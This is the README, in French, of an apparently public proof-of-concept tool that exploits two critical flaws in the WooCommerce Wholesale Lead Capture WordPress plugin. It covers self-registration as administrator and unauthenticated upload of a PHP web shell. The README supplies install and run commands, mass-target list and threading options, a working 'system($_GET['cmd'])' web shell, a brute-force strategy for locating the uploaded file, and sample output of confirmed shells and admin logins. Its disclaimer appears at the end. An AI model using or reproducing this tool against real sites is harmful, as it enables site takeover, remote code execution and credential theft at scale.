
Privilège non authentifié | Téléversement arbitraire de fichier non authentifié
Description :
Le plugin WooCommerce Wholesale Lead Capture pour WordPress est vulnérable à une élévation de privilèges non authentifiée dans toutes les versions affectées connues. La vulnérabilité réside dans le gestionnaire d'action AJAX wwlc_create_user, qui traite les demandes d'inscription des utilisateurs sans assainir ni valider correctement les champs de rôle fournis par l'utilisateur. Un attaquant distant non authentifié peut élaborer une requête POST spécialement conçue qui injecte des champs de capacités WordPress arbitraires — y compris wp_capabilities[administrator] — directement dans les métadonnées de l'utilisateur au moment de la création du compte. Cela permet à l'attaquant de s'inscrire lui-même en tant qu'administrateur WordPress sans aucune authentification préalable ni interaction d'un utilisateur légitime, entraînant la compromission totale de l'installation WordPress concernée.
Description :
Le plugin WooCommerce Wholesale Lead Capture pour WordPress est vulnérable à un téléversement arbitraire de fichier non authentifié dans toutes les versions affectées connues. La vulnérabilité réside dans l'action AJAX wwlc_file_upload_handler, qui est enregistrée sans aucune exigence d'authentification ni de vérification de nonce. En soumettant une requête POST multipart spécialement conçue à /wp-admin/admin-ajax.php, un attaquant distant non authentifié peut téléverser des fichiers de type arbitraire — y compris des shells web PHP — dans le répertoire wp-content/uploads/ du serveur, sous un sous-répertoire wwlc-temp-* généré dynamiquement. Une exploitation réussie conduit à une exécution de code à distance (RCE) sur le serveur web sous-jacent, s'exécutant avec le compte utilisateur du processus web.
Ceci est un script d'exploitation Proof-of-Concept (PoC) pour les deux vulnérabilités critiques décrites ci-dessus, ciblant les installations WordPress exécutant le plugin WooCommerce Wholesale Lead Capture. L'outil prend en charge deux modes d'attaque indépendants :
| Mode | Type d'attaque | Objectif |
|---|---|---|
| Mode 1 | Téléversement arbitraire de fichier non authentifié + découverte de dossier par force brute | Téléverser un shell web PHP et le localiser via une devination de dossiers multicouche |
| Mode 2 | Élévation de privilèges non authentifiée via l'inscription | S'inscrire soi-même en tant qu'administrateur WordPress et vérifier l'accès administrateur |
pip install requests urllib3 colorama
Ou installez via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
L'outil présente une interface de terminal interactive. Tous les paramètres requis vous seront demandés.
Créez un fichier texte brut (par exemple list.txt) avec une URL cible par ligne :
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
Exemple de fichier shell (shell.php) :
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
Remarque : Le dossier
wwlc-temp-*est généré dynamiquement par le plugin à l'aide de la fonction PHPuniqid('wwlc-temp-'). L'outil utilise une stratégie de force brute multicouche pour le découvrir :
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
L'outil :
administrator| Fichier | Description |
|---|---|
scan_results/wwlc_uploads.txt |
[INFO] Mode2 | Target: https://target.com
[SUCCESS] https://target.com | nonce found on /wholesale-register/: a1b2c3d4e5
[INFO] https://target.com | using discovered nonce
[SUCCESS] https://target.com | registration success for user=Nx_admin_x7k2
[SUCCESS] https://target.com | ADMIN login confirmed as Nx_admin_x7k2
[INFO] Mode1 | Target: https://target.com
[INFO] https://target.com | upload HTTP time: 0.847s
[SUCCESS] https://target.com | upload success file_name=shell_abc123.php
[INFO] https://target.com | pattern brute-force (50003 guesses)
[SUCCESS] https://target.com | shell FOUND via pattern: https://target.com/wp-content/uploads/wwlc-temp-00000123/shell_abc123.php
[INFO] https://target.com | folder scan stats: attempts=123, time=4.213s, rate=29.2 req/s
Par : Nxploited (Khaled Alenazi)
CET OUTIL EST FOURNI UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE EN SÉCURITÉ AUTORISÉE.
L'auteur, Nxploited (Khaled Alenazi), et tous les contributeurs de ce projet n'approuvent pas, ne soutiennent pas et n'assument aucune responsabilité en cas d'utilisation abusive de cet outil ou de tout dommage causé par l'utilisation de ce logiciel contre des systèmes pour lesquels vous ne disposez pas d'une autorisation écrite explicite.
- ✅ Autorisé : Utilisation sur des systèmes vous appartenant ou pour lesquels vous avez reçu une autorisation écrite explicite de test.
- ❌ Interdit : Utilisation contre tout système sans autorisation écrite explicite préalable du propriétaire du système.
L'accès non autorisé à des systèmes informatiques est illégal et passible de sanctions en vertu des lois applicables, y compris, mais sans s'y limiter, le Computer Fraud and Abuse Act (CFAA), le Computer Misuse Act (CMA) et les législations équivalentes dans le monde entier.
En utilisant cet outil, vous acceptez l'entière responsabilité de vos actions et confirmez que vous disposez de l'autorité légale pour tester les systèmes ciblés.
L'auteur décline toute responsabilité pour tout dommage direct, indirect, accessoire ou consécutif découlant de l'utilisation ou de la mauvaise utilisation de ce logiciel.
© 2026 Nxploited (Khaled Alenazi) — Uniquement pour la recherche en sécurité autorisée.
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2026-27542 |
| Sévérité | CRITIQUE — Score CVSS v3.1 : 9.8 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Composant affecté | Plugin WooCommerce Wholesale Lead Capture (WWLC) pour WordPress |
| Type de vulnérabilité | Élévation de privilèges non authentifiée |
| Authentification requise | Aucune |
| CWE | CWE-269 : Gestion inappropriée des privilèges |
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2026-27540 |
| Sévérité | CRITIQUE — Score CVSS v3.1 : 9.8 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Composant affecté | Plugin WooCommerce Wholesale Lead Capture (WWLC) pour WordPress |
| Type de vulnérabilité | Téléversement arbitraire de fichier non authentifié (conduisant à une exécution de code à distance) |
| Authentification requise | Aucune |
| CWE | CWE-434 : Téléversement sans restriction d'un fichier de type dangereux |
| Couche | Stratégie | Description |
|---|
| 0 | Liste de répertoires | Tente de lister le répertoire des téléversements s'il est ouvert |
| 1 | Basée sur des motifs | Devinations numériques basées sur le temps et séquentielles |
| 2 | Hexadécimal basé sur le temps | Initialisée par les horodatages des requêtes HTTP observées |
| 3 | Hexadécimal aléatoire | Devination de chaînes hexadécimales purement aléatoires |
| Tous les sites où le téléversement de fichier a réussi (Mode 1) |
scan_results/wwlc_shells_found.txt | URLs complètes des shells confirmés accessibles (Mode 1) |
scan_results/wwlc_register_results.txt | Tous les résultats des tentatives d'inscription avec identifiants (Mode 2) |
scan_results/Admin_login.txt | Accès administrateur confirmés avec identifiants (Mode 2) |